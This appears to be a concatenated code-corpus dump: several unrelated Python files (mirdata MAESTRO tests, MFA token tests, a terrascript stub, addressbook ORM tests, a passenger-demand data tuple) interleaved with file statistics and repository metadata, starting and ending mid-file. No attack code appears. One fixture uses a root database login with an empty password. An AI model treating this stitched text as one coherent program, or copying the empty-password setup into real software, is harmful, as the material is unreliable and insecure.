test_fetch_mfa_token_from_shell__command_succeedes_but_no_valid_token(self, m_shell): m_shell.run = Mock() m_shell.run.return_value = 'Some Token 123456' self.assertEqual(None, mfa.fetch_mfa_token_from_shell('success_command')) expected = [call('success_command')] self.assertEqual(expected, m_shell.run.mock_calls) @mock.patch('app.yubico.mfa.shell') def test_fetch_mfa_token_from_shell__command_succeedes_token_has_spaces(self, m_shell): m_shell.run = Mock() m_shell.run.return_value = ' 123456 ' self.assertEqual('123456', mfa.fetch_mfa_token_from_shell('success_command')) expected = [call('success_command')] self.assertEqual(expected, m_shell.run.mock_calls) @mock.patch('app.yubico.mfa.shell') def test_fetch_mfa_token_from_shell__no_command(self, m_shell): self.assertEqual(None, mfa.fetch_mfa_token_from_shell('')) expected = [] self.assertEqual(expected, m_shell.run.mock_calls)

34.028169

100

0.709437

333

2,416

4.771772

0.135135

0.083071

0.090623

0.128383

0.823159

0.797357

0

0.015152

0.180464

2,416

70

101

34.514286

0.787374

0

0.5625

0

0.133278

0

0.25

1

0.145833

false

0

0.0625

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0.270833

0

null

0

1

0

null

0

6

be1a4328b9b3c3043b56fdbf6aaaecdb54a7f99a

9,139

py

Python

tests/datasets/test_maestro.py

lucaspbastos/mirdata

e591c5411c41591e8606812df869dca1ad52ee0f

[ "BSD-3-Clause" ]

224

2019-05-08T14:46:05.000Z

2022-03-31T12:14:39.000Z

tests/datasets/test_maestro.py

oriolcolomefont/mirdata

e591c5411c41591e8606812df869dca1ad52ee0f

[ "BSD-3-Clause" ]

492

2019-04-08T16:59:33.000Z

2022-01-19T13:50:56.000Z

tests/datasets/test_maestro.py

oriolcolomefont/mirdata

e591c5411c41591e8606812df869dca1ad52ee0f

[ "BSD-3-Clause" ]

46

2019-04-11T15:12:18.000Z

2022-01-19T17:33:50.000Z

import os import shutil import pretty_midi import numpy as np from mirdata.datasets import maestro from mirdata import annotations, download_utils from tests.test_utils import run_track_tests def test_track(): default_trackid = "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1" data_home = "tests/resources/mir_datasets/maestro" dataset = maestro.Dataset(data_home) track = dataset.track(default_trackid) expected_attributes = { "track_id": "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1", "midi_path": os.path.join( data_home, "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1.midi", ), "audio_path": os.path.join( data_home, "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1.wav" ), "canonical_composer": "Alban Berg", "canonical_title": "Sonata Op. 1", "year": 2018, "duration": 698.661160312, "split": "train", } expected_property_types = { "notes": annotations.NoteData, "midi": pretty_midi.PrettyMIDI, "audio": tuple, } assert track._track_paths == { "audio": [ "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1.wav", "1694d8431f01eeb2a18444196550b99d", ], "midi": [ "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1.midi", "4901b1578ee4fe8c1696e02f60924949", ], } run_track_tests(track, expected_attributes, expected_property_types) # test audio loading functions audio, sr = track.audio assert sr == 48000 assert audio.shape == (48000 * 2,) def test_load_metadata(): data_home = "tests/resources/mir_datasets/maestro" dataset = maestro.Dataset(data_home) metadata = dataset._metadata default_trackid = "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1" assert metadata[default_trackid] == { "canonical_composer": "Alban Berg", "canonical_title": "Sonata Op. 1", "split": "train", "year": 2018, "midi_filename": "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1.midi", "audio_filename": "2018/MIDI-Unprocessed_Chamber3_MID--AUDIO_10_R3_2018_wav--1.wav", "duration": 698.661160312, } def test_download_partial(httpserver): data_home = "tests/resources/mir_datasets/maestro_download" if os.path.exists(data_home): shutil.rmtree(data_home) httpserver.serve_content( open("tests/resources/download/maestro-v2.0.0.json", "r").read() ) remotes = { "all": download_utils.RemoteFileMetadata( filename="1-maestro-v2.0.0.json", url=httpserver.url, checksum=("d41d8cd98f00b204e9800998ecf8427e"), unpack_directories=["maestro-v2.0.0"], ), "midi": download_utils.RemoteFileMetadata( filename="2-maestro-v2.0.0.json", url=httpserver.url, checksum=("d41d8cd98f00b204e9800998ecf8427e"), unpack_directories=["maestro-v2.0.0"], ), "metadata": download_utils.RemoteFileMetadata( filename="3-maestro-v2.0.0.json", url=httpserver.url, checksum=("d41d8cd98f00b204e9800998ecf8427e"), ), } dataset = maestro.Dataset(data_home) dataset.remotes = remotes dataset.download(None, False, False) assert os.path.exists(os.path.join(data_home, "1-maestro-v2.0.0.json")) assert not os.path.exists(os.path.join(data_home, "2-maestro-v2.0.0.json")) assert not os.path.exists(os.path.join(data_home, "3-maestro-v2.0.0.json")) if os.path.exists(data_home): shutil.rmtree(data_home) dataset.download(["all", "midi"], False, False) assert os.path.exists(os.path.join(data_home, "1-maestro-v2.0.0.json")) assert not os.path.exists(os.path.join(data_home, "2-maestro-v2.0.0.json")) assert not os.path.exists(os.path.join(data_home, "3-maestro-v2.0.0.json")) if os.path.exists(data_home): shutil.rmtree(data_home) dataset.download(["metadata", "midi"], False, False) assert not os.path.exists(os.path.join(data_home, "1-maestro-v2.0.0.json")) assert os.path.exists(os.path.join(data_home, "2-maestro-v2.0.0.json")) assert not os.path.exists(os.path.join(data_home, "3-maestro-v2.0.0.json")) if os.path.exists(data_home): shutil.rmtree(data_home) dataset.download(["metadata"], False, False) assert not os.path.exists(os.path.join(data_home, "1-maestro-v2.0.0.json")) assert not os.path.exists(os.path.join(data_home, "2-maestro-v2.0.0.json")) assert os.path.exists(os.path.join(data_home, "3-maestro-v2.0.0.json")) def test_download(httpserver): data_home = "tests/resources/mir_datasets/maestro_download" if os.path.exists(data_home): shutil.rmtree(data_home) # download the full dataset httpserver.serve_content( open("tests/resources/download/maestro-v2.0.0.zip", "rb").read() ) remotes = { "all": download_utils.RemoteFileMetadata( filename="maestro-v2.0.0.zip", url=httpserver.url, checksum=("625180ffa41cd9f2ab7252dd954b9e8a"), unpack_directories=["maestro-v2.0.0"], ) } dataset = maestro.Dataset(data_home) dataset.remotes = remotes dataset.download(None, False, False) assert os.path.exists(data_home) assert not os.path.exists(os.path.join(data_home, "maestro-v2.0.0")) assert os.path.exists(os.path.join(data_home, "maestro-v2.0.0.json")) assert os.path.exists( os.path.join( data_home, "2004/MIDI-Unprocessed_XP_22_R2_2004_01_ORIG_MID--AUDIO_22_R2_2004_04_Track04_wav.wav", ) ) assert os.path.exists( os.path.join( data_home, "2004/MIDI-Unprocessed_XP_22_R2_2004_01_ORIG_MID--AUDIO_22_R2_2004_04_Track04_wav.midi", ) ) # test downloading again dataset.download(None, False, False) if os.path.exists(data_home): shutil.rmtree(data_home) # test downloading twice with cleanup dataset.download(None, False, True) dataset.download(None, False, False) if os.path.exists(data_home): shutil.rmtree(data_home) # test downloading twice with force overwrite dataset.download(None, False, False) dataset.download(None, True, False) if os.path.exists(data_home): shutil.rmtree(data_home) # test downloading twice with force overwrite and cleanup dataset.download(None, False, True) dataset.download(None, True, False) if os.path.exists(data_home): shutil.rmtree(data_home) # download the midi-only zip httpserver.serve_content( open("tests/resources/download/maestro-v2.0.0-midi.zip", "rb").read() ) remotes = { "midi": download_utils.RemoteFileMetadata( filename="maestro-v2.0.0-midi.zip", url=httpserver.url, checksum=("c82283fff347ed2bd833693c09a9f01d"), unpack_directories=["maestro-v2.0.0"], ) } dataset.remotes = remotes dataset.download(["midi"], False, False) assert os.path.exists(data_home) assert not os.path.exists(os.path.join(data_home, "maestro-v2.0.0")) assert os.path.exists(os.path.join(data_home, "maestro-v2.0.0.json")) assert not os.path.exists( os.path.join( data_home, "2004/MIDI-Unprocessed_XP_22_R2_2004_01_ORIG_MID--AUDIO_22_R2_2004_04_Track04_wav.wav", ) ) assert os.path.exists( os.path.join( data_home, "2004/MIDI-Unprocessed_XP_22_R2_2004_01_ORIG_MID--AUDIO_22_R2_2004_04_Track04_wav.midi", ) ) # test downloading again dataset.download(["midi"], False, False) if os.path.exists(data_home): shutil.rmtree(data_home) # download only the metadata httpserver.serve_content( open("tests/resources/download/maestro-v2.0.0.json", "rb").read() ) remotes = { "metadata": download_utils.RemoteFileMetadata( filename="maestro-v2.0.0.json", url=httpserver.url, checksum=("d41d8cd98f00b204e9800998ecf8427e"), ) } dataset.remotes = remotes dataset.download(["metadata"], False, False) assert os.path.exists(data_home) assert not os.path.exists(os.path.join(data_home, "maestro-v2.0.0")) assert os.path.exists(os.path.join(data_home, "maestro-v2.0.0.json")) assert not os.path.exists( os.path.join( data_home, "2004/MIDI-Unprocessed_XP_22_R2_2004_01_ORIG_MID--AUDIO_22_R2_2004_04_Track04_wav.wav", ) ) assert not os.path.exists( os.path.join( data_home, "2004/MIDI-Unprocessed_XP_22_R2_2004_01_ORIG_MID--AUDIO_22_R2_2004_04_Track04_wav.midi", ) ) # test downloading again dataset.download(["metadata"], False, False) if os.path.exists(data_home): shutil.rmtree(data_home)

33.47619

100

0.652588

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9,139

4.7841

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0.050228

0

null

0

1

0

null

0

6

be2b1e5d5871243b697588703ad7c36a283d69aa

374

py

Python

terrascript/data/ciscoasa.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

507

2017-07-26T02:58:38.000Z

2022-01-21T12:35:13.000Z

terrascript/data/ciscoasa.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

135

2017-07-20T12:01:59.000Z

2021-10-04T22:25:40.000Z

terrascript/data/ciscoasa.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

81

2018-02-20T17:55:28.000Z

2022-01-31T07:08:40.000Z

# terrascript/data/ciscoasa.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:14:03 UTC) # # For imports without namespace, e.g. # # >>> import terrascript.data.ciscoasa # # instead of # # >>> import terrascript.data.hashicorp.ciscoasa # # This is only available for 'official' and 'partner' providers. from terrascript.data.hashicorp.ciscoasa import *

24.933333

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null

0

1

0

1

0

1

0

6

076fbbd503490ed640d8c2a6518eb9b2f8727bd9

3,200

py

Python

test/test_add_contact_to_group.py

kochetov-a/python_training

20cb104dea8b743c576b8c02a4dedc13679ff384

[ "Apache-2.0" ]

null

test/test_add_contact_to_group.py

kochetov-a/python_training

20cb104dea8b743c576b8c02a4dedc13679ff384

[ "Apache-2.0" ]

null

test/test_add_contact_to_group.py

kochetov-a/python_training

20cb104dea8b743c576b8c02a4dedc13679ff384

[ "Apache-2.0" ]

null

from model.group import Group from model.contact import Contact from fixture.orm import ORMFixture import random orm = ORMFixture(host="127.0.0.1", name="addressbook", user="root", password="") # Тест проверки добавления контакта в группу (контакт не входит в эту группу) def test_add_contact_to_group(app, db): if len(db.get_group_list()) == 0: # Если в базе данных нет групп, то создаём новую группу app.group.create(Group(name="TestNameForGroup", header="TestHeaderForGroup", footer="TestFooterForGroup")) if len(db.get_contact_list()) == 0: # Если в базе данных нет контактов, то создаём новый контакт app.contact.create(Contact(first_name="first_name_test", last_name="last_name_test")) group = random.choice(db.get_group_list()) # Выбираем случайную группу из списка групп if len(orm.get_contacts_not_in_group(Group(id=group.id))) == 0: # Если нет контактов которые не входят в эту группу app.contact.create(Contact(first_name="first_name_test_88", last_name="last_name_test_89")) # Создаём новый # Выбираем контакт который НЕ ВХОДИТ в выбранную группу contact = random.choice(orm.get_contacts_not_in_group(Group(id=group.id))) old_groups = orm.get_contacts_in_group(Group(id=group.id)) # Получаем состав группы ДО добавления app.contact.add_to_group(contact.id, group.id) # Добавляем случайный контакт в случайную группу new_groups = orm.get_contacts_in_group(Group(id=group.id)) # Получаем состав группы ПОСЛЕ добавления old_groups.append(contact) # То добавляем его, если есть – то НЕ добавляем # Сравниваем содержание выбранной группы ДО и ПОСЛЕ добавления assert sorted(old_groups, key=Group.id_or_max) == sorted(new_groups, key=Group.id_or_max) # Тест проверки добавления контакта в группу (контакт входит в эту группу) def test_add_contact_to_group_again(app, db): if len(db.get_group_list()) == 0: # Если в базе данных нет групп, то создаём новую группу app.group.create(Group(name="TestNameForGroup", header="TestHeaderForGroup", footer="TestFooterForGroup")) if len(db.get_contact_list()) == 0: # Если в базе данных нет контактов, то создаём новый контакт app.contact.create(Contact(first_name="first_name_test", last_name="last_name_test")) group = random.choice(db.get_group_list()) # Выбираем случайную группу из списка групп if len(orm.get_contacts_in_group(Group(id=group.id))) == 0: # Если в этой группе нет контактов contact = random.choice(db.get_contact_list()) # Выбираем случайный из списка app.contact.add_to_group(contact.id, group.id) # Добавляем его в эту группу contact = random.choice(orm.get_contacts_in_group(Group(id=group.id))) # Выбираем случайный контакт из группы old_groups = orm.get_contacts_in_group(Group(id=group.id)) # Получаем состав группы ДО добавления app.contact.add_to_group(contact.id, group.id) # Добавляем контакт в группу new_groups = orm.get_contacts_in_group(Group(id=group.id)) # Получаем состав группы ПОСЛЕ добавления # Сравниваем содержание выбранной группы ДО и ПОСЛЕ добавления assert sorted(old_groups, key=Group.id_or_max) == sorted(new_groups, key=Group.id_or_max)

76.190476

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null

0

1

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null

0

6

077ad08b49748b797dafec85867a47fd2e4c38c3

37

py

Python

curator/validators/__init__.py

rprabhat/curator

b0c7ad652a0141799cc499c43c4b9fa56328b4ff

[ "Apache-2.0" ]

1

2017-08-19T08:11:15.000Z

curator/validators/__init__.py

rprabhat/curator

b0c7ad652a0141799cc499c43c4b9fa56328b4ff

[ "Apache-2.0" ]

null

curator/validators/__init__.py

rprabhat/curator

b0c7ad652a0141799cc499c43c4b9fa56328b4ff

[ "Apache-2.0" ]

null

from .schemacheck import SchemaCheck

18.5

36

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true

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null

0

1

0

1

0

1

0

6

078529d3e40ec2b5339f504ef4ae4cacb48301e1

260,852

py

Python

instances/passenger_demand/pas-20210422-1717-int14000000000000001e/19.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

instances/passenger_demand/pas-20210422-1717-int14000000000000001e/19.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

instances/passenger_demand/pas-20210422-1717-int14000000000000001e/19.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

""" PASSENGERS """ numPassengers = 27098 passenger_arriving = ( (5, 5, 3, 0, 3, 4, 0, 2, 6, 1, 1, 1, 0, 4, 13, 6, 6, 10, 5, 4, 1, 1, 2, 0, 1, 0), # 0 (10, 10, 14, 5, 5, 3, 2, 4, 7, 2, 1, 1, 0, 9, 6, 5, 6, 7, 6, 1, 2, 2, 1, 0, 0, 0), # 1 (7, 7, 5, 10, 8, 3, 5, 0, 3, 0, 0, 1, 0, 7, 9, 6, 6, 7, 0, 3, 2, 2, 2, 0, 0, 0), # 2 (7, 5, 7, 7, 2, 8, 2, 1, 2, 1, 0, 1, 0, 9, 10, 6, 8, 6, 3, 2, 1, 1, 5, 0, 2, 0), # 3 (13, 4, 5, 13, 6, 6, 3, 5, 3, 2, 1, 1, 0, 10, 7, 7, 5, 8, 3, 2, 3, 6, 1, 0, 2, 0), # 4 (5, 6, 3, 10, 4, 3, 3, 2, 5, 4, 2, 1, 0, 9, 9, 9, 5, 9, 11, 4, 4, 3, 5, 0, 3, 0), # 5 (7, 12, 9, 10, 11, 2, 3, 6, 7, 0, 3, 0, 0, 12, 8, 10, 6, 7, 5, 5, 3, 5, 5, 1, 1, 0), # 6 (12, 10, 8, 10, 3, 6, 6, 3, 5, 1, 1, 2, 0, 13, 6, 7, 6, 12, 1, 2, 2, 6, 4, 2, 0, 0), # 7 (13, 9, 9, 12, 4, 2, 3, 0, 4, 0, 2, 1, 0, 9, 10, 12, 2, 13, 4, 4, 1, 3, 3, 1, 3, 0), # 8 (9, 11, 7, 10, 4, 3, 6, 6, 6, 3, 1, 0, 0, 11, 5, 11, 10, 8, 6, 6, 8, 7, 3, 1, 0, 0), # 9 (14, 8, 13, 9, 6, 4, 2, 6, 7, 1, 2, 1, 0, 14, 7, 6, 12, 6, 6, 2, 4, 4, 2, 1, 0, 0), # 10 (9, 7, 6, 11, 12, 2, 7, 2, 1, 1, 1, 1, 0, 9, 12, 8, 7, 10, 7, 6, 4, 9, 0, 0, 2, 0), # 11 (14, 10, 13, 14, 13, 6, 5, 9, 7, 0, 3, 1, 0, 12, 3, 7, 7, 17, 9, 2, 0, 3, 4, 2, 0, 0), # 12 (7, 12, 7, 8, 9, 4, 4, 5, 4, 3, 1, 2, 0, 10, 11, 8, 7, 12, 8, 6, 7, 3, 5, 1, 1, 0), # 13 (16, 11, 10, 12, 10, 6, 6, 2, 8, 1, 1, 1, 0, 19, 12, 8, 8, 8, 7, 6, 4, 4, 8, 2, 1, 0), # 14 (18, 17, 10, 11, 10, 4, 10, 3, 4, 3, 3, 1, 0, 9, 13, 10, 10, 6, 5, 7, 7, 1, 4, 4, 2, 0), # 15 (18, 15, 18, 14, 3, 4, 4, 8, 2, 4, 0, 1, 0, 16, 8, 11, 7, 9, 7, 10, 2, 4, 3, 5, 1, 0), # 16 (8, 14, 14, 11, 10, 2, 6, 3, 4, 0, 2, 1, 0, 10, 13, 12, 11, 13, 7, 8, 5, 5, 6, 2, 0, 0), # 17 (18, 11, 12, 13, 14, 4, 5, 4, 4, 1, 2, 0, 0, 12, 17, 11, 8, 9, 3, 6, 6, 3, 4, 2, 1, 0), # 18 (8, 13, 13, 9, 11, 6, 3, 9, 6, 2, 0, 2, 0, 15, 13, 4, 7, 8, 7, 2, 4, 3, 5, 3, 0, 0), # 19 (14, 23, 11, 12, 11, 2, 3, 3, 6, 7, 2, 2, 0, 10, 16, 16, 7, 14, 10, 5, 4, 4, 3, 2, 3, 0), # 20 (12, 16, 14, 12, 18, 6, 3, 6, 7, 4, 2, 0, 0, 12, 12, 4, 13, 8, 6, 7, 2, 5, 3, 0, 2, 0), # 21 (17, 13, 7, 12, 9, 5, 5, 0, 3, 3, 2, 1, 0, 17, 12, 13, 8, 13, 8, 8, 5, 5, 4, 3, 2, 0), # 22 (19, 14, 15, 14, 13, 5, 4, 8, 6, 1, 1, 5, 0, 17, 15, 8, 13, 11, 5, 8, 3, 6, 6, 1, 2, 0), # 23 (7, 15, 11, 15, 13, 1, 9, 7, 4, 5, 5, 1, 0, 17, 12, 11, 9, 11, 7, 3, 3, 6, 4, 0, 3, 0), # 24 (17, 13, 12, 14, 14, 5, 6, 4, 5, 3, 1, 1, 0, 21, 12, 11, 8, 6, 7, 7, 5, 5, 5, 5, 0, 0), # 25 (12, 19, 12, 18, 11, 3, 5, 9, 3, 2, 3, 1, 0, 21, 16, 13, 2, 11, 6, 8, 3, 3, 5, 3, 1, 0), # 26 (12, 12, 12, 12, 9, 6, 5, 8, 6, 2, 5, 0, 0, 21, 20, 12, 4, 12, 10, 7, 5, 5, 7, 3, 1, 0), # 27 (18, 13, 12, 11, 10, 10, 3, 6, 7, 2, 1, 3, 0, 19, 14, 16, 6, 15, 6, 6, 5, 5, 1, 5, 1, 0), # 28 (16, 12, 16, 16, 10, 1, 4, 2, 12, 3, 1, 1, 0, 12, 15, 11, 9, 13, 8, 6, 2, 6, 4, 2, 2, 0), # 29 (15, 17, 14, 12, 14, 7, 8, 9, 7, 2, 3, 0, 0, 14, 15, 13, 7, 12, 3, 0, 2, 3, 3, 2, 0, 0), # 30 (12, 10, 9, 4, 7, 3, 8, 6, 6, 4, 0, 1, 0, 13, 15, 7, 13, 13, 7, 5, 6, 6, 2, 3, 0, 0), # 31 (15, 10, 12, 14, 13, 8, 7, 6, 8, 5, 2, 0, 0, 16, 12, 12, 11, 11, 9, 5, 4, 5, 1, 1, 3, 0), # 32 (16, 12, 14, 12, 10, 6, 5, 7, 3, 1, 4, 1, 0, 13, 13, 9, 7, 15, 6, 7, 4, 4, 4, 1, 1, 0), # 33 (13, 19, 12, 12, 14, 3, 7, 5, 4, 1, 1, 0, 0, 16, 12, 13, 6, 6, 5, 8, 2, 2, 4, 4, 2, 0), # 34 (19, 11, 12, 9, 9, 4, 2, 4, 5, 1, 3, 2, 0, 8, 19, 7, 9, 14, 7, 6, 1, 8, 2, 3, 1, 0), # 35 (10, 14, 13, 14, 6, 6, 7, 6, 6, 2, 1, 1, 0, 10, 12, 6, 12, 10, 6, 3, 1, 2, 2, 2, 0, 0), # 36 (14, 18, 7, 15, 9, 5, 6, 6, 6, 2, 1, 2, 0, 10, 10, 9, 12, 8, 8, 4, 2, 7, 8, 3, 1, 0), # 37 (18, 14, 13, 23, 8, 3, 1, 6, 9, 1, 3, 2, 0, 13, 15, 16, 8, 15, 7, 6, 7, 9, 6, 5, 1, 0), # 38 (13, 20, 12, 16, 14, 6, 6, 2, 5, 3, 1, 0, 0, 11, 15, 10, 5, 10, 7, 3, 4, 2, 3, 1, 0, 0), # 39 (15, 11, 19, 18, 9, 8, 6, 5, 5, 5, 1, 2, 0, 10, 12, 8, 5, 7, 5, 7, 6, 11, 5, 2, 3, 0), # 40 (19, 10, 11, 15, 11, 8, 7, 4, 4, 5, 1, 2, 0, 11, 4, 6, 8, 13, 5, 5, 4, 7, 5, 4, 3, 0), # 41 (12, 15, 11, 16, 7, 8, 5, 4, 6, 3, 1, 2, 0, 17, 7, 9, 15, 13, 8, 9, 3, 7, 3, 0, 1, 0), # 42 (16, 7, 13, 14, 11, 5, 10, 5, 6, 0, 3, 2, 0, 15, 18, 5, 12, 13, 11, 10, 2, 10, 3, 3, 2, 0), # 43 (10, 9, 12, 7, 9, 9, 9, 7, 6, 4, 1, 1, 0, 11, 23, 12, 7, 12, 7, 6, 3, 10, 7, 2, 1, 0), # 44 (17, 16, 26, 7, 10, 2, 4, 5, 2, 1, 2, 1, 0, 13, 9, 6, 8, 10, 5, 4, 3, 4, 3, 2, 1, 0), # 45 (12, 14, 20, 12, 11, 5, 2, 6, 9, 5, 2, 0, 0, 17, 16, 13, 7, 17, 9, 2, 3, 5, 4, 0, 4, 0), # 46 (16, 20, 11, 16, 8, 7, 2, 8, 6, 3, 0, 1, 0, 14, 13, 12, 7, 12, 6, 6, 3, 1, 6, 4, 1, 0), # 47 (10, 13, 12, 18, 12, 7, 9, 6, 4, 3, 2, 1, 0, 24, 10, 6, 10, 10, 7, 3, 9, 5, 4, 1, 5, 0), # 48 (13, 10, 10, 13, 13, 7, 8, 5, 7, 2, 2, 0, 0, 17, 6, 9, 8, 11, 7, 9, 4, 8, 5, 2, 1, 0), # 49 (21, 9, 9, 14, 17, 3, 3, 4, 2, 2, 1, 2, 0, 19, 15, 12, 8, 9, 7, 3, 4, 5, 5, 1, 2, 0), # 50 (14, 14, 10, 17, 11, 5, 3, 8, 2, 4, 1, 0, 0, 10, 17, 13, 6, 11, 7, 6, 0, 5, 2, 1, 2, 0), # 51 (19, 16, 14, 9, 6, 7, 6, 2, 11, 2, 1, 1, 0, 9, 18, 14, 11, 5, 8, 5, 5, 8, 5, 0, 1, 0), # 52 (15, 15, 10, 13, 14, 3, 3, 4, 4, 1, 2, 0, 0, 12, 27, 12, 9, 12, 2, 2, 3, 4, 6, 5, 0, 0), # 53 (20, 14, 11, 7, 8, 5, 5, 3, 4, 5, 0, 1, 0, 8, 11, 8, 8, 9, 8, 4, 4, 3, 1, 1, 0, 0), # 54 (15, 12, 11, 9, 11, 6, 4, 8, 4, 3, 0, 0, 0, 18, 7, 11, 8, 13, 3, 5, 8, 6, 7, 2, 0, 0), # 55 (12, 16, 9, 9, 9, 5, 7, 4, 5, 1, 4, 2, 0, 17, 11, 11, 5, 12, 6, 2, 1, 7, 4, 2, 2, 0), # 56 (13, 16, 12, 7, 9, 9, 5, 1, 5, 4, 1, 1, 0, 14, 18, 11, 8, 12, 5, 8, 4, 2, 5, 4, 3, 0), # 57 (16, 16, 8, 19, 8, 1, 9, 2, 3, 4, 1, 4, 0, 10, 12, 6, 4, 19, 9, 9, 8, 4, 3, 2, 1, 0), # 58 (16, 11, 13, 12, 8, 5, 5, 6, 5, 1, 0, 1, 0, 14, 13, 15, 7, 14, 5, 6, 4, 2, 4, 2, 2, 0), # 59 (12, 14, 8, 14, 8, 9, 4, 5, 9, 0, 3, 1, 0, 25, 9, 11, 7, 8, 5, 6, 1, 5, 3, 1, 1, 0), # 60 (17, 15, 10, 9, 10, 6, 4, 3, 6, 4, 2, 2, 0, 8, 12, 7, 4, 10, 7, 4, 2, 4, 3, 4, 3, 0), # 61 (14, 13, 7, 14, 4, 3, 5, 5, 5, 3, 1, 1, 0, 18, 9, 10, 9, 10, 6, 6, 2, 3, 4, 4, 0, 0), # 62 (10, 18, 6, 10, 7, 3, 7, 3, 5, 4, 2, 1, 0, 6, 16, 7, 6, 11, 3, 6, 1, 5, 7, 3, 1, 0), # 63 (16, 15, 11, 15, 13, 4, 3, 3, 8, 3, 2, 1, 0, 15, 12, 8, 4, 9, 7, 9, 4, 7, 3, 0, 1, 0), # 64 (14, 16, 11, 9, 13, 4, 4, 7, 4, 6, 1, 1, 0, 11, 14, 8, 5, 15, 5, 3, 6, 5, 8, 5, 1, 0), # 65 (12, 11, 13, 15, 7, 4, 7, 0, 6, 5, 2, 0, 0, 11, 24, 13, 2, 8, 4, 6, 5, 3, 8, 2, 0, 0), # 66 (15, 15, 13, 13, 16, 5, 2, 7, 1, 4, 5, 2, 0, 10, 13, 16, 9, 13, 6, 4, 8, 5, 6, 5, 1, 0), # 67 (14, 9, 15, 9, 15, 8, 5, 6, 2, 0, 4, 1, 0, 6, 10, 8, 6, 8, 8, 6, 3, 4, 6, 1, 1, 0), # 68 (15, 11, 11, 16, 10, 3, 6, 3, 5, 5, 2, 0, 0, 16, 12, 9, 7, 17, 7, 3, 4, 2, 7, 0, 0, 0), # 69 (10, 10, 14, 13, 13, 4, 9, 6, 5, 2, 5, 1, 0, 17, 15, 6, 13, 8, 10, 4, 2, 5, 5, 1, 0, 0), # 70 (13, 12, 10, 22, 17, 8, 5, 3, 5, 3, 2, 4, 0, 14, 12, 10, 5, 12, 5, 9, 4, 4, 4, 4, 3, 0), # 71 (16, 11, 10, 13, 14, 6, 4, 7, 8, 2, 0, 0, 0, 13, 14, 15, 8, 13, 8, 3, 2, 6, 4, 3, 2, 0), # 72 (14, 14, 9, 11, 11, 3, 2, 6, 4, 3, 1, 0, 0, 16, 15, 8, 10, 11, 7, 5, 1, 10, 2, 2, 1, 0), # 73 (16, 8, 8, 6, 5, 8, 6, 3, 4, 1, 3, 2, 0, 17, 14, 4, 8, 12, 9, 5, 5, 6, 3, 1, 3, 0), # 74 (13, 23, 8, 14, 9, 5, 3, 3, 10, 2, 2, 1, 0, 21, 11, 10, 17, 8, 8, 7, 4, 8, 3, 5, 1, 0), # 75 (14, 16, 7, 11, 15, 9, 4, 5, 6, 3, 1, 1, 0, 10, 11, 9, 3, 10, 2, 5, 9, 5, 4, 3, 1, 0), # 76 (10, 16, 9, 17, 15, 4, 5, 9, 10, 3, 1, 2, 0, 15, 16, 10, 8, 10, 6, 6, 4, 1, 5, 2, 1, 0), # 77 (13, 8, 13, 20, 7, 7, 9, 1, 5, 2, 4, 0, 0, 10, 14, 5, 8, 8, 3, 4, 3, 2, 5, 2, 1, 0), # 78 (19, 11, 13, 11, 9, 3, 10, 2, 4, 2, 2, 3, 0, 24, 16, 12, 7, 11, 12, 5, 3, 6, 6, 2, 2, 0), # 79 (18, 17, 10, 6, 7, 4, 4, 8, 4, 1, 2, 1, 0, 14, 12, 12, 8, 10, 4, 6, 7, 6, 5, 4, 1, 0), # 80 (10, 13, 10, 8, 7, 4, 5, 3, 3, 4, 0, 0, 0, 12, 6, 9, 10, 16, 6, 6, 6, 8, 8, 4, 0, 0), # 81 (16, 15, 6, 10, 7, 1, 6, 4, 8, 2, 0, 0, 0, 18, 12, 4, 4, 11, 2, 7, 3, 6, 6, 4, 0, 0), # 82 (10, 10, 12, 4, 10, 3, 4, 5, 8, 3, 0, 2, 0, 12, 13, 9, 5, 20, 2, 4, 4, 4, 7, 1, 1, 0), # 83 (12, 16, 13, 9, 13, 4, 5, 4, 2, 2, 1, 0, 0, 15, 13, 15, 6, 10, 6, 7, 2, 5, 4, 3, 3, 0), # 84 (10, 9, 15, 17, 9, 3, 6, 5, 5, 1, 1, 0, 0, 13, 11, 13, 5, 13, 11, 7, 7, 2, 1, 1, 1, 0), # 85 (18, 11, 9, 11, 5, 6, 6, 2, 5, 3, 3, 1, 0, 12, 15, 8, 3, 10, 5, 3, 6, 5, 3, 1, 0, 0), # 86 (11, 6, 14, 11, 14, 5, 4, 7, 5, 2, 4, 1, 0, 19, 15, 7, 5, 11, 6, 4, 0, 9, 4, 2, 2, 0), # 87 (12, 6, 12, 9, 14, 4, 7, 6, 4, 3, 3, 0, 0, 12, 14, 4, 11, 13, 8, 3, 7, 7, 2, 2, 0, 0), # 88 (18, 10, 13, 13, 12, 9, 6, 3, 10, 5, 1, 0, 0, 17, 8, 8, 9, 14, 2, 4, 2, 8, 2, 5, 1, 0), # 89 (15, 7, 11, 7, 15, 5, 7, 5, 6, 3, 2, 0, 0, 10, 15, 9, 11, 12, 3, 5, 5, 6, 0, 0, 3, 0), # 90 (12, 11, 14, 11, 15, 3, 7, 7, 4, 2, 1, 1, 0, 13, 9, 12, 3, 4, 8, 6, 4, 3, 9, 4, 0, 0), # 91 (19, 12, 12, 14, 8, 